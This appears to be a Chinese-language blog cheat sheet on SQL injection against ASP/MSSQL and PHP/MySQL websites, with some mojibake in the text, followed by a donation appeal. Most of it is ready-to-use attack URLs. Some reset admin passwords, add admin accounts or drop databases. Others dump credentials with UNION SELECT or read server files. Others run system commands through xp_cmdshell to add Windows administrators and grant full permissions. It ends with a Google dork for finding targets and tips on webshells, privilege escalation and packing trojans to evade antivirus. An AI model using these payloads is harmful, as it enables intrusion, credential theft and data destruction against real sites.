?
2搜索型注入利用了SQL語(yǔ)句中的模糊查詢功能? ?在搜索框中輸入 “要搜索的關(guān)鍵字%’ and 注入工具代碼”
注入過(guò)程中暴出的管理員密碼是經(jīng)過(guò)MD5加密,又不能破解,這個(gè)時(shí)候直接利用SQL注入來(lái)修改數(shù)據(jù)庫(kù)中的數(shù)據(jù),直接把管理員的密碼改掉
語(yǔ)句 ;update 表名 set 列名=’內(nèi)容’ where 條件
如 http://www/xxx.com/xx.asp?id=xx;update admin set password=’123’ where username=’aaa’
其功能就是把a(bǔ)dmin 表中的username為aaa的密碼改為123
新添加一個(gè)管理員 語(yǔ)句 ;insert into 表名 values(內(nèi)容)--
如http://www/xxx.com/xx.asp?id=xx;insert into admin values(aaa,123)--
其功能就是往admin表中添加一個(gè)username為aaa password 為123的管理員
得到數(shù)據(jù)庫(kù)名稱為bbb??執(zhí)行 ;drop database bbb , bbb數(shù)據(jù)庫(kù)就刪除了
如http://www/xxx.com/xx.asp?id=xx;drop database bbb
URL后面提交 and (select @@version)>0 來(lái)獲取數(shù)據(jù)庫(kù)版本
提交 and db_name()>0 來(lái)獲得當(dāng)前數(shù)據(jù)庫(kù)名
提交 and user>0??獲得當(dāng)前數(shù)據(jù)庫(kù)用戶名 還有其他的一些如SESSION_USER??CURRENT_USER??SYSTEM_USER?
判斷權(quán)限??提交http://www/xxx.com/xx.asp?id=xx and user>0 返回PUBLIC 當(dāng)前就是PUBLIC權(quán)限
判斷是否支持多句查詢 提交 http://www/xxx.com/xx.asp?id=xx;declare @a int—
判斷是否支持子查詢? ?提交 http://www/xxx.com/xx.asp?id=xx and (select cout(1) from [sysobject])>0
擴(kuò)展存儲(chǔ)過(guò)程??需要sa權(quán)限才能執(zhí)行
提交http://www/xxx.com/xx.asp?id=xx;exec master..xp_cmdshell ‘ dir c:\’??查看c盤(pán)根目錄相關(guān)的文件和文件夾
提交http://www/xxx.com/xx.asp?id=xx;exec master..xp_cmdshell ‘ netuser 123 123/add’ 和
? ?? ? http://www/xxx.com/xx.asp?id=xx;exec master..xp_cmdshell ‘net localgroup administrators 123/add’??添加一個(gè)管理員
提交 http://www/xxx.com/xx.asp?id=xx and SELECT count(*) FROM master.dbo.sysobjects WHERE xtype=’X’ and name=’xp_cmdshell’ 返回說(shuō)明擴(kuò)展存儲(chǔ)過(guò)程存在
不存在,我們使用 http://www/xxx.com/xx.asp?id=xx;exec sp_addextendedproc xp_cmdshell,’xplog70.dll’ 來(lái)恢復(fù),如果要?jiǎng)h除,執(zhí)行exec sp_dropextendedproc ‘xp_cmdshell’
提交http://www/xxx.com/xx.asp?id=xx;DECLARE @S INT EXEC SP_OACREAT??‘wscript.shell’, @s exec master..SPOAMETHON @s, ‘run’,null,’cmd.exe/c dir c:\’??通過(guò)sp_OACREAT 和sp_OAMETHOD 來(lái)執(zhí)行DOS命令
MySQL
Google 中輸入 inurl:php?id= 就能得到很多php站了
http://www/xxx.com/xx.php?id=32 后面添加 and 1=1 和 and 1=2 判斷是否存在注入
http://www/xxx.com/xx.php?id=32/* 只有MySQL數(shù)據(jù)庫(kù)支持/*注釋,提交就能夠判斷
and ord(mid(verion(),1,1))>51/* 確定版本??返回正常版本大于4.0??錯(cuò)誤,不支持UNION查詢? ?51是ASC碼3 大于3 就是4版本以上
URL提交 /*!%20s*/ 返回錯(cuò)誤,可判斷該數(shù)據(jù)為MySQL
URL提交/*!40000%20s*/ 返回錯(cuò)誤,版本大于4
利用 union select 1,2,3,4 來(lái)獲得字段數(shù) 或 order by 10 來(lái)獲得
Union select 字段數(shù) from 表名??字段數(shù)有三個(gè) 就應(yīng)該是 1,2,3
http://www/xxx.com/xx.php?id=32 union select 1,2,3,4,5,6,7 from admin
http://www/xxx.com/xx.php?id=32 union select 1,version(),3,4,5,6,7 from admin 來(lái)判斷版本
http://www/xxx.com/xx.php?id=32 union select 1,username,3,4,5,6,7 from admin 來(lái)獲得用戶名
http://www/xxx.com/xx.php?id=32 union select 1,password,3,4,5,6,7 from admin 來(lái)獲得用戶名密碼
http://www/xxx.com/xx.php?id=32 union select 1,password,3,4,5,6,7 from admin where id=2 得到第二天記錄
http://www/xxx.com/xx.php?id=32 and ord(mid(user(),1,1))=114/* 返回正常說(shuō)明是root權(quán)限
and (select count(*) from MySQL.user)>0 來(lái)判斷是否具有文件讀寫(xiě)的權(quán)限http://www/xxx.com/xx.php?id=32 union select 1,load_file(0x655A2F626F6F742E696E69),3,4,5,6,7 from admin??就可以讀取c:\boot.ini 中的信息
旁注
如何獲得Webshell
ASP系統(tǒng)??會(huì)過(guò)濾掉asp后綴,提交aspx 木馬 或者把后綴改為 ASA CER??AASPSP?
PHP和JSP??一般是linux系統(tǒng) 會(huì)解析perl??后綴名 pl??在windows上 上傳ASPX ASA CER 都可以獲得webshell
后臺(tái)備份恢復(fù)獲得webshell
SQL導(dǎo)出獲得webshell??可以使用getwebshell工具導(dǎo)出
寫(xiě)入過(guò)濾不完全獲得webshell??利用一句話 菜刀連接,上傳大馬
提權(quán) pcanywhere??serv-u??sam 提權(quán)
查找conn config pass 看能否得到sa mysql 密碼
檢查系統(tǒng)服務(wù) task?
大部分網(wǎng)站管理員會(huì)刪除cmd net 我們需要上傳cmd.exe??net.exe net1.exe
后臺(tái)數(shù)據(jù)庫(kù)是SQL Server提交
http://www.xxx.com/xxx/asp?id=xx;exec
?master.dbo.xp_cmdshell ‘cacls d:\home /t /e /c /g everyone:f’ ;-- 這樣賦予了操作系統(tǒng)everyone組的成員所有權(quán)限,可以上傳
利用本地溢出程序進(jìn)行提權(quán) 木馬的加密與防殺 加殼就是對(duì)木馬進(jìn)行加密或變換 網(wǎng)絡(luò)釣魚(yú) 社會(huì)工程學(xué)
更多文章、技術(shù)交流、商務(wù)合作、聯(lián)系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號(hào)聯(lián)系: 360901061
您的支持是博主寫(xiě)作最大的動(dòng)力,如果您喜歡我的文章,感覺(jué)我的文章對(duì)您有幫助,請(qǐng)用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點(diǎn)擊下面給點(diǎn)支持吧,站長(zhǎng)非常感激您!手機(jī)微信長(zhǎng)按不能支付解決辦法:請(qǐng)將微信支付二維碼保存到相冊(cè),切換到微信,然后點(diǎn)擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對(duì)您有幫助就好】元
